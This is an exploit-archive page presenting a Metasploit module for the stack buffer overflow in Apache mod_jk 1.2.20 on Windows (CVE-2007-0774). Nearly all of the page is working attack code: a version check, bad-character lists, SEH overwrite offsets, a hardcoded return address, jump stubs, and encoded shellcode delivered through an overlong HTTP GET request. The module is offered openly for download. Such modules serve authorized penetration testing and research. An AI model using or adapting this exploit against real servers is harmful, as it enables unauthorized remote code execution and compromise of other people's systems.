what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

apache_modjk_overflow.rb.txt

apache_modjk_overflow.rb.txt
Posted Jul 10, 2007
Authored by Nicob

Metasploit module for the buffer overflow vulnerability in Apache mod_jk version 1.2.20. Written to work on Win23.

tags | exploit, overflow
advisories | CVE-2007-0774
SHA-256 | efe145dee4b7080b59ab059e6c8b9dd4a32fc76e8f62346dc54be9192176437f

apache_modjk_overflow.rb.txt

Change Mirror Download
require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_Mod_JK < Msf::Exploit::Remote

include Exploit::Remote::Tcp
include Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',
'Description' => %q{
This is a stack overflow exploit for mod_jk 1.2.20.
Should work on any Win32 OS.
},
'Author' => 'Nicob <nicob[at]nicob.net>',
'Version' => '$Revision: 4961 $',
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '22791'],
[ 'CVE', 'CVE-2007-0774' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html'],

],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'MaxNops' => 0,
},
'Platform' => 'win',
'Targets' =>
[
# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
],
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(80) ], self.class )
end

def check
connect

sock.put("GET / HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect

if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
print_status("Apache version detected : #{m[1]}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
connect

uri_start = "GET /"
uri_end = ".html HTTP/1.0\r\n\r\n"
sc_base = 16

shellcode = payload.encoded
sploit = Rex::Text.rand_text_alphanumeric(5001, payload_badchars)
sploit[sc_base, shellcode.length] = shellcode

# 16 : Apache/1.3.37 (Win32) mod_jk/1.2.20
# 20 : Apache/2.0.59 (Win32) mod_jk/1.2.20
# 21 : Apache/2.2.3 (Win32) mod_jk/1.2.20

seh_base = 4087
[ 16, 20, 21 ].each { |x|
seh_offset = seh_base + (16 * x)
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
sploit[seh_offset - 4, 2] = "\xeb\xf9"
sploit[seh_offset , 4] = [ target.ret ].pack('V')
print_status("Inserting custom SEH at offset #{seh_offset} ...")
}

print_status("Trying target #{target.name}...")
sock.put(uri_start + sploit + uri_end)

resp = sock.get_once
if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
end

handler
disconnect
end

end
end

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close